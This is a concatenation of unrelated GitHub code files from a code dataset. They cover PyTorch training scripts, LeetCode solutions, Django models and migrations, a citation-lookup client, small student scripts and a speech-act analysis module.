nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(8,16,3),\n nn.ReLU(inplace=True),\n\n ).to(device),\n\n nn.Sequential(\n nn.MaxPool2d(kernel_size=4, stride=2),\n nn.Conv2d(3, 1, 1),\n nn.Conv2d(1, 8, 5),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=4, stride=2),\n nn.Conv2d(8, 16, 5),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(16, 32, 3),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n ).to(device),\n\n nn.Sequential(\n\n nn.Conv2d(3, 8, 3),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(8, 16, 3),\n nn.ReLU(inplace=True),\n nn.AvgPool2d(kernel_size=2, stride=2),\n nn.Conv2d(16, 32, 3),\n nn.ReLU(inplace=True),\n nn.AvgPool2d(kernel_size=2, stride=2)\n\n ).to(device)\n ]\n\n gs=[nn.Sequential(\n nn.Linear(144, 32),\n nn.ReLU(),\n nn.Linear(32, 16),\n nn.ReLU(),\n nn.Linear(16, 10)\n ).to(device),\n\n nn.Sequential(\n nn.Linear(256, 64),\n nn.ReLU(),\n nn.Linear(64, 41)\n ).to(device),\n\n nn.Sequential(\n nn.Linear(128, 32),\n nn.Linear(32, 10),\n\n\n\n ).to(device)\n ]\n\n\n\n learning_rate = lrs[i]\n file=files[f]\n size=sizes[i]\n stage=stages[i]\n chan=chans[i]\n\n epoch = epoches[i]\n f=fs[i]\n g=gs[i]\n addaxis=i==0\n\n torch.cuda.empty_cache()\n trainset_obj = Dataset_Loader(file, '')\n trainset_obj.dataset_source_folder_path = '../../data/stage_3_data/'\n trainset_obj.dataset_source_file_name = file\n trainset_obj.setType='train'\n trainset_obj.addaxis=addaxis\n\n testset_obj = Dataset_Loader(file, '')\n testset_obj.dataset_source_folder_path = '../../data/stage_3_data/'\n testset_obj.dataset_source_file_name = file\n testset_obj.setType='test'\n testset_obj.addaxis=addaxis\n\n result_obj = Result_Saver('saver', '')\n result_obj.result_destination_folder_path = '../../result/stage_3_result/CNN_'\n result_obj.result_destination_file_name = 'prediction_result'\n\n setting_obj = Setting_Mini_Batch('k fold cross validation', '')\n # setting_obj = Setting_Tra\n # in_Test_Split('train test split', '')\n\n evaluate_obj = Evaluate_Accuracy('accuracy', '')\n # ------------------------------------------------------\n # for learning_rate in [10e-5,10e-6,10e-7]:\n # for epoch in [500,1000,2000]:\n # for size in [100,500,1000]:\n\n\n\n # ---- running section ---------------------------------\n method_obj = Method_CNN('cnn', '', epoch, learning_rate, device, chan,f,g).to(device)\n print('************ Start ************')\n setting_obj.prepare(trainset_obj, testset_obj, method_obj, result_obj, evaluate_obj)\n setting_obj.print_setup_summary()\n mean_score, std_score = setting_obj.load_run_save_evaluate(stage,size)\n print('************ Overall Performance ************')\n print('MLP Accuracy: ' + str(mean_score) + ' +/- ' + str(std_score))\n print('************ final evaluation ************')\n performance = setting_obj.do_evaluate()\n print('final performance: ' + str(performance))\n print('************ Finish ************')\n\n # ------------------------------------------------------\n\n","repo_name":"rjsun06/ecs189g","sub_path":"script/stage_3_script/script_CNN.py","file_name":"script_CNN.py","file_ext":"py","file_size_in_byte":4726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39186919964","text":"from .constants import *\nfrom .utils import *\nimport torch.nn as nn\nfrom tqdm import tqdm\nfrom .plotter import *\n\nanomaly_loss = nn.CrossEntropyLoss()\nmse_loss = nn.MSELoss(reduction = 'mean')\n\nnum_zero, num_ones = 1, 1\n\n# Model Training\ndef triplet_loss(anchor, positive_class, model):\n\tglobal PROTO_UPDATE_FACTOR\n\tpositive_loss = mse_loss(anchor, model.prototype[positive_class].detach().clone())\n\tnegative_class_list = [0, 1, 2]\n\tnegative_class_list.remove(positive_class)\n\tnegative_loss = []\n\tfor nc in negative_class_list:\n\t\tnegative_loss.append(mse_loss(anchor, model.prototype[nc]))\n\tloss = positive_loss - torch.sum(torch.tensor(negative_loss))\n\tif positive_loss <= negative_loss[0] and positive_loss <= negative_loss[1]:\n\t\tfactor = PROTO_UPDATE_FACTOR + PROTO_UPDATE_MIN\n\t\tmodel.prototype[positive_class] = factor * anchor + (1 - factor) * model.prototype[positive_class]\n\treturn loss\n\ndef custom_loss(model, source, target_anomaly, target_class):\n\tglobal PROTO_UPDATE_FACTOR, num_ones, num_zero\n\tnz, no = 0, 0\n\tsource_anomaly, source_prototype = source\n\taloss, tloss = 0, torch.tensor(0, dtype=torch.double)\n\tfor i, sa in enumerate(source_anomaly):\n\t\tmultiplier = 1 if target_anomaly[i] == 0 else num_zero / num_ones\n\t\tnz += 1 if target_anomaly[i] == 0 else 1; no += 1 if target_anomaly[i] == 1 else 0\n\t\taloss += anomaly_loss(sa, torch.tensor([target_anomaly[i]], dtype=torch.long)) * multiplier\n\tfor i, sp in enumerate(source_prototype):\n\t\tif target_anomaly[i] > 0:\n\t\t\ttloss += triplet_loss(sp, target_class[i], model)\n\tPROTO_UPDATE_FACTOR *= PROTO_FACTOR_DECAY; num_zero += nz; num_ones += no;\n\treturn aloss, tloss\n\ndef backprop(epoch, model, train_time_data, train_schedule_data, anomaly_data, class_data, optimizer, training = True):\n\tglobal PROTO_UPDATE_FACTOR, num_ones, num_zero\n\tnum_zero, num_ones = 1, 1\n\taloss_list, tloss_list = [], []\n\tfor i in tqdm(range(train_time_data.shape[0]), leave=False, position=1):\n\t\toutput = model(train_time_data[i], train_schedule_data[i])\n\t\taloss, tloss = custom_loss(model, output, anomaly_data[i], class_data[i])\n\t\taloss_list.append(aloss.item()); tloss_list.append(tloss.item())\n\t\tloss = aloss + tloss\n\t\tif training:\n\t\t\toptimizer.zero_grad()\n\t\t\tloss.backward()\n\t\t\toptimizer.step()\n\ttqdm.write(f'Epoch {epoch},\\tLoss = {np.mean(aloss_list)+np.mean(tloss_list)},\\tALoss = {np.mean(aloss_list)},\\tTLoss = {np.mean(tloss_list)}')\n\tfactor = PROTO_UPDATE_FACTOR + PROTO_UPDATE_MIN\n\treturn np.mean(aloss_list) + np.mean(tloss_list), factor\n\n# Accuracy \ndef anomaly_accuracy(source_anomaly, target_anomaly, model_plotter):\n\tcorrect = 0; res_list = []; tp, fp, tn, fn = 0, 0, 0, 0\n\tfor i, sa in enumerate(source_anomaly):\n\t\tres = torch.argmax(sa).item() \n\t\tres_list.append(res)\n\t\tif res == target_anomaly[i]:\n\t\t\tcorrect += 1\n\t\t\tif target_anomaly[i] == 1: tp += 1\n\t\t\telse: tn += 1\n\t\telse:\n\t\t\tif target_anomaly[i] == 1: fn += 1\n\t\t\telse: fp += 1\n\tif model_plotter is not None:\n\t\tmodel_plotter.update_anomaly(res_list, target_anomaly, correct/len(source_anomaly))\n\treturn correct/len(source_anomaly), tp, tn, fp, fn\n\ndef class_accuracy(source_prototype, target_anomaly, target_class, model, model_plotter):\n\tcorrect, total = 0, 1e-4; prototypes = []\n\tfor i, sp in enumerate(source_prototype):\n\t\tif target_anomaly[i] > 0:\n\t\t\ttotal += 1\n\t\t\tpositive_loss = mse_loss(sp, model.prototype[target_class[i]])\n\t\t\tnegative_class_list = [0, 1, 2]\n\t\t\tnegative_class_list.remove(target_class[i])\n\t\t\tnegative_loss = []\n\t\t\tfor nc in negative_class_list:\n\t\t\t\tnegative_loss.append(mse_loss(sp, model.prototype[nc]))\n\t\t\tif positive_loss <= negative_loss[0] and positive_loss <= negative_loss[1]:\n\t\t\t\tcorrect += 1\n\t\t\tprototypes.append((sp, target_class[i]))\n\tif model_plotter is not None:\n\t\tmodel_plotter.update_class(prototypes, correct/total)\n\treturn correct / total\n\ndef accuracy(model, train_time_data, train_schedule_data, anomaly_data, class_data, model_plotter):\n\tanomaly_correct, class_correct, class_total = 0, 0, 0; tpl, tnl, fpl, fnl = [], [], [], []\n\tfor i, d in enumerate(train_time_data):\n\t\toutput = model(train_time_data[i], train_schedule_data[i])\n\t\tsource_anomaly, source_prototype = output\n\t\tres, tp, tn, fp, fn = anomaly_accuracy(source_anomaly, anomaly_data[i], model_plotter)\n\t\tanomaly_correct += res\n\t\ttpl.append(tp); tnl.append(tn); fpl.append(fp); fnl.append(fn)\n\t\ttp += res; fp += res; tn += (1 - res); fn += (1 - res)\n\t\tif np.sum(anomaly_data[i]) > 0:\n\t\t\tclass_total += 1\n\t\t\tclass_correct += class_accuracy(source_prototype, anomaly_data[i], class_data[i], model, model_plotter)\n\ttp, fp, tn, fn = np.mean(tpl), np.mean(fpl), np.mean(tnl), np.mean(fn)\n\tp, r = tp/(tp+fp), tp/(tp+fn)\n\ttqdm.write(f'P = {p}, R = {r}, F1 = {2 * p * r / (p + r)}')\n\treturn anomaly_correct / len(train_time_data), class_correct / class_total\n\n","repo_name":"imperial-qore/PreGAN","sub_path":"recovery/PreGANSrc/src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4770,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"3"}
+{"seq_id":"43227560981","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nfrom utils import TreeNode\n\nclass Codec:\n\n def serialize(self, root):\n \"\"\"Encodes a tree to a single string.\n\n :type root: TreeNode\n :rtype: str\n \"\"\"\n def dfs(node, result):\n if node is None:\n result.append('#')\n else:\n result.append(str(node.val))\n dfs(node.left, result)\n dfs(node.right, result)\n result = []\n dfs(root, result)\n return ','.join(result)\n\n def deserialize(self, data):\n \"\"\"Decodes your encoded data to tree.\n\n :type data: str\n :rtype: TreeNode\n \"\"\"\n stack = [TreeNode(0)]\n data_list = data.split(',')\n i, n = 0, len(data_list)\n while i < n:\n if data_list[i] != '#':\n node = TreeNode(data_list[i])\n stack[-1].left = node\n stack.append(node)\n else:\n while i < n and data_list[i] == '#':\n i += 1\n node = stack.pop()\n if i == n:\n return node.left\n node.right = TreeNode(data_list[i])\n stack.append(node.right)\n i += 1\n\n\n\n\n# Your Codec object will be instantiated and called as such:\nroot = TreeNode(1, TreeNode(2, None, TreeNode(3)),\n TreeNode(4, TreeNode(5, TreeNode(6)),\n TreeNode(7, None, TreeNode(8, TreeNode(9)))))\ncodec = Codec()\nseq = codec.serialize(root)\nprint(seq)\nhead = codec.deserialize(seq)\n","repo_name":"wufangjie/leetcode","sub_path":"297. Serialize and Deserialize Binary Tree.py","file_name":"297. Serialize and Deserialize Binary Tree.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"23851264932","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='AnswerBase',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('updated', models.DateTimeField(auto_now=True)),\n ],\n ),\n migrations.CreateModel(\n name='Category',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n ('name', models.CharField(max_length=400)),\n ],\n ),\n migrations.CreateModel(\n name='Comment',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n ('text', models.TextField()),\n ('created_date', models.DateTimeField(auto_now=True)),\n ('author', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='FileUpload',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n ('docFile', models.FileField(blank=True, upload_to='Data_Files')),\n ('author', models.ForeignKey(null=True, blank=True, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='Question',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n ('text', models.TextField()),\n ('required', models.BooleanField()),\n ('question_type', models.CharField(default='text', max_length=200, choices=[('text', 'text'), ('radio', 'radio'), ('select', 'select'), ('select-multiple', 'Select Multiple'), ('integer', 'integer')])),\n ('choices', models.TextField(null=True, blank=True, help_text='if the question type is \"radio,\" \"select,\" or \"select multiple\" provide a comma-separated list of options for this question .')),\n ('category', models.ForeignKey(null=True, blank=True, to='survey.Category')),\n ],\n ),\n migrations.CreateModel(\n name='Response',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('updated', models.DateTimeField(auto_now=True)),\n ('title', models.CharField(null=True, verbose_name='Idea Name', blank=True, max_length=400)),\n ('interview_uuid', models.CharField(verbose_name='Interview unique identifier', max_length=36)),\n ('filelist', models.TextField(null=True, blank=True)),\n ('draft', models.BooleanField(default=True)),\n ('author', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='Survey',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n ('name', models.CharField(max_length=400)),\n ('description', models.TextField()),\n ],\n ),\n migrations.CreateModel(\n name='AnswerInteger',\n fields=[\n ('answerbase_ptr', models.OneToOneField(serialize=False, to='survey.AnswerBase', parent_link=True, auto_created=True, primary_key=True)),\n ('body', models.IntegerField(null=True, blank=True)),\n ],\n bases=('survey.answerbase',),\n ),\n migrations.CreateModel(\n name='AnswerRadio',\n fields=[\n ('answerbase_ptr', models.OneToOneField(serialize=False, to='survey.AnswerBase', parent_link=True, auto_created=True, primary_key=True)),\n ('body', models.TextField(null=True, blank=True)),\n ],\n bases=('survey.answerbase',),\n ),\n migrations.CreateModel(\n name='AnswerSelect',\n fields=[\n ('answerbase_ptr', models.OneToOneField(serialize=False, to='survey.AnswerBase', parent_link=True, auto_created=True, primary_key=True)),\n ('body', models.TextField(null=True, blank=True)),\n ],\n bases=('survey.answerbase',),\n ),\n migrations.CreateModel(\n name='AnswerSelectMultiple',\n fields=[\n ('answerbase_ptr', models.OneToOneField(serialize=False, to='survey.AnswerBase', parent_link=True, auto_created=True, primary_key=True)),\n ('body', models.TextField(null=True, blank=True)),\n ],\n bases=('survey.answerbase',),\n ),\n migrations.CreateModel(\n name='AnswerText',\n fields=[\n ('answerbase_ptr', models.OneToOneField(serialize=False, to='survey.AnswerBase', parent_link=True, auto_created=True, primary_key=True)),\n ('body', models.TextField(null=True, blank=True)),\n ],\n bases=('survey.answerbase',),\n ),\n migrations.AddField(\n model_name='response',\n name='survey',\n field=models.ForeignKey(null=True, to='survey.Survey'),\n ),\n migrations.AddField(\n model_name='question',\n name='survey',\n field=models.ForeignKey(to='survey.Survey'),\n ),\n migrations.AddField(\n model_name='comment',\n name='response',\n field=models.ForeignKey(to='survey.Response', related_name='comments'),\n ),\n migrations.AddField(\n model_name='category',\n name='survey',\n field=models.ForeignKey(to='survey.Survey'),\n ),\n migrations.AddField(\n model_name='answerbase',\n name='question',\n field=models.ForeignKey(to='survey.Question'),\n ),\n migrations.AddField(\n model_name='answerbase',\n name='response',\n field=models.ForeignKey(to='survey.Response'),\n ),\n ]\n","repo_name":"amac441/ai_form","sub_path":"survey/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":6625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"44684814518","text":"import csv\nimport os\nimport pdb\n\nfrom app import write_entries_to_file\n\nentry = [\n {'year': '2018', 'month': '06', 'day': '25', 'category': 'snacks', 'expense': '12'},\n {'year': '2018', 'month': '06', 'day': '24', 'category': 'meals', 'expense': '25'},\n {'year': '2018', 'month': '06', 'day': '23', 'category': 'stationary', 'expense': '16'},\n]\n\ndef test_write_entries_to_file():\n #setup:\n write_entries_to_file(entries=entry, filename=\"tests\\example_entries.csv\")\n #test:\n csv_filepath = os.path.join(os.path.dirname(__file__), \"example_entries.csv\")\n rows_written = []\n with open(csv_filepath, \"r\") as csv_file:\n reader = csv.DictReader(csv_file)\n for row in reader:\n rows_written.append(dict(row))\n assert len(rows_written) == 3\n assert rows_written[0][\"year\"] == \"2018\"\n assert rows_written[0][\"month\"] == \"06\"\n assert rows_written[0][\"day\"] == \"25\"\n assert rows_written[0][\"category\"] == \"snacks\"\n assert rows_written[0][\"expense\"] == \"12\"\n","repo_name":"iriskhu/freestyle-project","sub_path":"tests/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"17571753067","text":"import os\n\n\n# Flask settings\n\nHOST = '0.0.0.0' # Use 0.0.0.0 to listen on all available interfaces\nPORT = 5000\nDEBUG = True\nSECRET_KEY = \"yoursecretkeyhere\"\n\n# Hookbox settings\nHOOKBOX_API_SECRET = \"secret\"\nHOOKBOX_ADMIN_PASSWORD = \"admin\"\n\n# Visularity settings\nSERVER_IP = \"192.168.1.103\" # Set this to whatever IP your machine is using\nPROJECT_ROOT = os.path.dirname(__file__)\n\nGENSIM_DATA_ROOT = \"/home/wbert/gensimdata/\"\nVIS_DATA_ROOT = os.path.join(PROJECT_ROOT, \"data\")\nSEED_CORPUS = [\n \"The bus drove along the highway, full of many people going from one city to another city that night.\",\n \"A whale can eat up to fifteen tons of plankton and other fish every day of its life.\",\n \"The distance to the nearest star is measured in light years, the distance light travels at its fantastic speed over an entire year.\",\n \"Planets are giant bodies of gas or rock out in the vacuum of space.\",\n ] # Optional list of sentences with which to create the initial index corpus\n\nLSI_MODEL_FILE = os.path.join(GENSIM_DATA_ROOT, \"wiki_en_model.lsi\")\nTFIDF_MODEL_FILE = os.path.join(GENSIM_DATA_ROOT, \"wiki_en_tfidf.model\")\nDICTIONARY_FILE = os.path.join(GENSIM_DATA_ROOT, \"wiki_en_wordids.txt\")\nSHARD_DIR = os.path.join('/tmp', \"index_shards\")\n\n\n\n","repo_name":"sandinmyjoints/visularity","sub_path":"visularity/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"3"}
+{"seq_id":"69823090001","text":"#1512. Number of Good Pairs\ndef numIdenticalPairs(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n 90% faster\n 58% less memory\n \"\"\"\n countGoodPairs = 0\n for j in range(len(nums)):\n for i in range(j):\n if(nums[i] == nums[j]):\n countGoodPairs += 1\n \n return countGoodPairs","repo_name":"FreezingSnail/LeetCode-Problems","sub_path":"arrays/python/CountGoodPairs.py","file_name":"CountGoodPairs.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34060552081","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\nCATEGORY_CHOICES = (\n ('other', 'Другое'),\n ('food', 'Еда'),\n ('clothes', 'Одежда'),\n ('household', 'Товары для дома'),\n)\n\n\nclass Product(models.Model):\n name = models.CharField(max_length=200, verbose_name='Товар')\n category = models.CharField(max_length=50, choices=CATEGORY_CHOICES, verbose_name='Категория')\n description = models.TextField(max_length=400, null=True, blank=True, verbose_name='Описание')\n photo = models.ImageField(upload_to='product_images', null=True, blank=True, verbose_name='Фото')\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = 'Товар'\n verbose_name_plural = 'Товары'\n\n\nOCENKA_CHOICES = (\n (1, 1),\n (2, 2),\n (3, 3),\n (4, 4),\n (5, 5),\n)\n\n\nclass Otziv(models.Model):\n user = models.ForeignKey(User, on_delete=models.CASCADE,\n verbose_name='Автор', related_name='otziv')\n product = models.ForeignKey(Product, on_delete=models.CASCADE, verbose_name='Товар', related_name='product_otziv')\n description = models.TextField(max_length=400, null=False, blank=False, verbose_name='Отзыв')\n ocenka = models.IntegerField(choices=OCENKA_CHOICES, default=OCENKA_CHOICES[0][0],\n verbose_name='Оценка')\n\n def __str__(self):\n return str(self.user)\n# Create your models here.\n","repo_name":"papagans/exam8","sub_path":"source/webapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34697584268","text":"import requests, json, uuid\nfrom login import login\n#uuid32 = str(uuid.uuid1().hex)\n#uid = uuid32[:16]\n#print(uuid32, uid)\n#uuid32 = str(uuid.uuid1().hex)\n#gid = uuid32[:16]\n#text = \"hey\"\ndatas = login()\nuid = datas[\"uid\"]\n#gid = \"g88dfba6a2d9811e\"\n#gid = \"g2269baca2d9c11e\"\ngid = input(\"gid:\")\ntext = input(\"text:\")\ndatas = {\"sender\":uid, \"to\":gid, \"message\":{\"type\":\"text\", \"content\":text}}\nr = requests.post(verify=False, url=\"https://163.44.249.252/send_message\", json=datas)\nprint(r, r.text)","repo_name":"koutamanto/DevChatAPI","sub_path":"test/send_text_messge.py","file_name":"send_text_messge.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9265998856","text":"\"\"\"\nExpects an incoming CSV file with local ID, PMID, or DOI headers and wil post to\nAMR in batches of 50.\n\nE.g.\n\nUT\n01234\n02394\n039039\n\nPMID\n2093030\n2405903\n95930303\n\nRun as:\n\n$ python batch_lookup.py sample_file.csv outputfile.csv\n\n\"\"\"\n\nimport csv\nimport sys\nimport xml.etree.ElementTree as ET\n\nimport client\n\n\n# Template for fetching ids and timesCited from AMR\nid_request_template = u\"\"\"\n\n \n \n \n \n \n \n \n {items}\n
\n \n\n\"\"\"\n\n\ndef prep_request(items, local_id=\"id\"):\n \"\"\"\n Process the incoming items into an AMR request.\n\n \n \"\"\"\n map_items = ET.Element(\"map\")\n for idx, pub in enumerate(items):\n if pub is None:\n continue\n local_id_value = pub.get(local_id) or pub.get(local_id.upper())\n if local_id_value is None:\n local_id_value = str(idx)\n this_item = ET.Element(\"map\", name=local_id_value)\n for k, v in pub.items():\n if v is None:\n continue\n de = ET.Element(\"val\", name=k.lower())\n de.text = v.strip()\n this_item.append(de)\n map_items.append(this_item)\n\n request_items = ET.tostring(map_items)\n xml = id_request_template.format(user=client.USER, password=client.PASSWORD, items=request_items)\n return xml\n\n\ndef main():\n try:\n infile = sys.argv[1]\n outfile = sys.argv[2]\n except IndexError:\n raise Exception(\"An input and outpfile file is required.\")\n found = []\n to_check = []\n with open(infile) as inf:\n for row in csv.DictReader(inf):\n d = {}\n for k, v in row.items():\n d[k.lower()] = v.strip()\n to_check.append(d)\n\n lookup_groups = client.grouper(to_check, client.BATCH_SIZE)\n for idx, batch in enumerate(lookup_groups):\n xml = prep_request(batch)\n print>> sys.stderr, \"Processing batch\", idx\n # Post the batch\n rsp = client.get(xml)\n found.append(rsp)\n\n # Write the results to a csv file.\n with open(outfile, 'wb') as of:\n writer = csv.writer(of)\n writer.writerow(('batch', 'id', 'ut', 'doi', 'pmid', 'times cited', 'source'))\n batch = 0\n for grp in found:\n for k, item in grp.items():\n ut = item.get('ut')\n if ut is not None:\n ut = \"WOS:\" + ut\n writer.writerow([batch, k, ut, item.get('doi', \"\"), item.get('pmid', \"\"), item.get('timesCited', '0'),\n item.get('sourceURL', 'N/A')])\n batch = batch + 1\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"SchlossLab/Schloss_PrePrints_mBio_2017","sub_path":"code/wos-amr/lookup_ids.py","file_name":"lookup_ids.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"42677189507","text":"'''\nCreated on Nov 28, 2021\n\n@author: AsifMahmud\n'''\n\ndef searchInsert(self, nums, target):\n low = 0\n high = len(nums)\n mid = int((high+low)/2)\n result = None\n while(low < high):\n if nums[mid] == target:\n result = mid\n break\n elif target > nums[mid]:\n low = mid+1\n else:\n high = mid\n mid = int((high+low)/2)\n if(result == None):\n result = low\n \n return result","repo_name":"asiffmahmudd/leetcode-problems","sub_path":"leetcode_problems/problems/35_Search_Insert_Position.py","file_name":"35_Search_Insert_Position.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33020205346","text":"#GPA calculator\nprint(\"hi, welcome to GPA calculator\")\nprint(\"whenever you want to exit type exit\")\nsum=0\nn=0\nwhile True:\n n=n+1 \n a=input(\"please enter your number:\")\n if a==\"exit\":\n print(\"thanks, the end\")\n break\n score=float(a)\n sum=score+sum\n print(sum)\n print(n)\naverage=sum/n\nprint(\"your average is:\",average)\n\n\n","repo_name":"ameneahani/assignment","sub_path":"Assignment2/t2_3_GPA.py","file_name":"t2_3_GPA.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37408356448","text":"import sys\nfrom itertools import combinations\n\ninput = sys.stdin.readline\n\nn, m = map(int, input().split())\ncard = list(map(int, input().split()))\nmin = 300000\n\nfor arr in combinations(card, 3):\n sum = arr[0] + arr[1] + arr[2]\n if sum > m:\n continue\n elif (m-sum) < min:\n min = m-sum\n result = sum\n\nprint(result)\n","repo_name":"pipi-shortstocking/CodingTest","sub_path":"백준/2798/2차.py","file_name":"2차.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20792516966","text":"import argparse\nimport warnings\n\nimport matplotlib.pyplot as plt\n\nimport numpy as np\n\nimport pandas as pd\n\nimport seaborn as sns\n\nfrom utils import SPEECH_ACT, CHILD, PATH_NEW_ENGLAND_UTTERANCES, AGES\nfrom process_contingencies import get_contingency_data\nfrom utils import COLORS_PLOT_CATEGORICAL, age_bin, SOURCE_SNOW, SOURCE_CRF, TARGET_PRODUCTION, TARGET_COMPREHENSION\n\nMIN_NUM_UTTERANCES = 0\nMIN_CHILDREN_REQUIRED = 0\nTHRESHOLD_ACQUIRED = 2\nTHRESHOLD_FRACTION_ACQUIRED = 0.5\n\nTHRESHOLD_SPEECH_ACT_OBSERVED_PRODUCTION = 0\n\nMIN_AGE = 6\nMAX_AGE = 12 * 18\n\nADD_EXTRA_DATAPOINTS = False\n\nCOMPREHENSION_DATA_POINTS_2_OCCURRENCES = {\n 14: [\n \"ST\",\n \"TO\",\n \"SA\",\n \"AC\",\n \"RP\",\n \"CR\",\n \"MK\",\n \"YQ\",\n \"RQ\",\n \"CM\",\n \"OO\",\n \"QN\",\n \"TX\",\n \"PR\",\n \"RR\",\n \"EA\",\n \"XA\",\n \"CS\",\n \"YA\",\n \"SS\",\n \"DC\",\n \"PF\",\n \"AP\",\n \"CL\",\n \"AB\",\n \"TQ\",\n \"SI\",\n \"EI\",\n \"EQ\",\n \"YY\",\n \"CT\",\n \"PM\",\n \"AA\",\n \"DW\",\n \"RT\",\n \"ET\",\n \"GR\",\n \"DS\",\n \"PA\",\n \"FP\",\n \"AD\",\n \"WD\",\n \"RD\",\n \"CN\",\n \"GI\",\n \"ED\",\n \"PD\",\n ],\n 20: [\n \"QN\",\n \"RP\",\n \"PD\",\n \"PM\",\n \"SS\",\n \"MK\",\n \"OO\",\n \"AP\",\n \"ST\",\n \"AC\",\n \"AA\",\n \"RQ\",\n \"RT\",\n \"ET\",\n \"SI\",\n \"PR\",\n \"PF\",\n \"CL\",\n \"AD\",\n \"YQ\",\n \"AB\",\n \"RD\",\n \"YA\",\n \"EA\",\n \"DC\",\n \"GI\",\n \"WD\",\n \"SA\",\n \"YY\",\n \"GR\",\n \"EQ\",\n \"RR\",\n \"TO\",\n \"CS\",\n \"AL\",\n \"YD\",\n \"CT\",\n \"EI\",\n \"DS\",\n \"CR\",\n \"DW\",\n \"AN\",\n \"CM\",\n \"FP\",\n \"TQ\",\n \"TX\",\n \"XA\",\n \"CN\",\n \"AQ\",\n \"PA\",\n \"EC\",\n ],\n 32: [\n \"QN\",\n \"YQ\",\n \"MK\",\n \"AP\",\n \"SA\",\n \"DW\",\n \"AC\",\n \"RR\",\n \"FP\",\n \"ST\",\n \"RP\",\n \"RQ\",\n \"AD\",\n \"PR\",\n \"PM\",\n \"XA\",\n \"SI\",\n \"GI\",\n \"PA\",\n \"OO\",\n \"TQ\",\n \"YA\",\n \"CS\",\n \"AQ\",\n \"TX\",\n \"CT\",\n \"CM\",\n \"CL\",\n \"RT\",\n \"GR\",\n \"PF\",\n \"EI\",\n \"AA\",\n \"SS\",\n \"EQ\",\n \"DC\",\n \"YY\",\n \"RD\",\n \"AB\",\n \"AN\",\n \"TO\",\n \"EC\",\n \"ET\",\n \"EX\",\n \"WD\",\n \"SC\",\n \"PD\",\n \"EA\",\n ],\n}\nCOMPREHENSION_SPEECH_ACTS_ENOUGH_DATA_2_OCCURRENCES = [\n \"ST\",\n \"TO\",\n \"SA\",\n \"AC\",\n \"RP\",\n \"CR\",\n \"MK\",\n \"YQ\",\n \"RQ\",\n \"CM\",\n \"QN\",\n \"TX\",\n \"PR\",\n \"RR\",\n \"EA\",\n \"XA\",\n \"CS\",\n \"YA\",\n \"SS\",\n \"DC\",\n \"PF\",\n \"AP\",\n \"CL\",\n \"AB\",\n \"TQ\",\n \"SI\",\n \"EI\",\n \"EQ\",\n \"CT\",\n \"PM\",\n \"AA\",\n \"DW\",\n 